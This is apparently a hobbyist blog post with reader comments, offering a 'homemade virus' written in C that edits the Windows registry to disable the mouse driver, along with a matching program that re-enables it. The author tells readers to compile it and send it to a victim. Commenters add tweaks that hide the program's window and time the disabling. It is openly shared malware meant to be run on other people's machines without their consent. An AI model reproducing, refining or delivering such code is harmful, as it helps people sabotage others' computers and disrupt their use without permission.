C Program to disable\ Enable Mouse - a simple homemade Virus


Hi folks. Here I come up with another cool code. One my friend asked me to write a virus for him to disable keyboard, mouse and play some funny video for a specific interval of time. It was fun writing that code, I just thought to share a part of it over here.
Obviously I'm not gonna share whole code here or who knows may be I do someday but NO as of now.
Anyways here I'm sharing just a part for noobs and a hint for the coders to get start.
Warning: Use this code at your own risk, I'm not responsible for any damage done to anyone.

Well warning was required because I was affected by it while writing. :P

Lets code it..

Code to Disable the Mouse:
Open notepad and copy the below code

#include<stdio.h>
int main()
{
 system("reg add HKEY_LOCAL_MACHINE\\system\\CurrentControlSet\\Services\\Mouclass \/v Start \/t REG_DWORD \/d 4 \/f");
 return 0;
}



Save the file as block.c.
Compile this code and your virus to disable the mouse is ready. Send it to the victim and it'll get the job done.
Handle it carefully

Code to Enable the Mouse:
Open notepad and copy the below code

#include<stdio.h>
int main()
{
 system("reg add HKEY_LOCAL_MACHINE\\system\\CurrentControlSet\\Services\\Mouclass \/v Start \/t REG_DWORD \/d 3 \/f");
 return 0;
}



Save the file as unblock.c.
Compile this code and executable will enable the mouse again.

Again, I'm suggesting that whether you're using it to harm someone or just for testing just handle it carefully.

If you are having troubles in compiling the code then take a look at How to Compile a C Program

Keep Coding. Keep Rocking :P
Previous
Next Post »

3 comments

Click here for comments
Anonymous
admin
12 November 2012 at 06:22 ×

If you want to make it run without showing a window, you can replace the system function with this:

WinExec("reg add HKEY_LOCAL_MACHINE\\system\\CurrentControlSet\\Services\\Mouclass \/v Start \/t REG_DWORD \/d 4 \/f", SW_HIDE);

You also have to include the file windows.h

Reply
avatar
Anonymous
admin
12 November 2012 at 06:27 ×

^ forgot to mention that youll also have to compile it with -mwindows in gcc

Reply
avatar
14 July 2013 at 15:39 ×

If you save it as a c++ code and add windows.h you can disable then use the command Sleep(50000); then you can enable. That will disable the mouse for 59 seconds.

Reply
avatar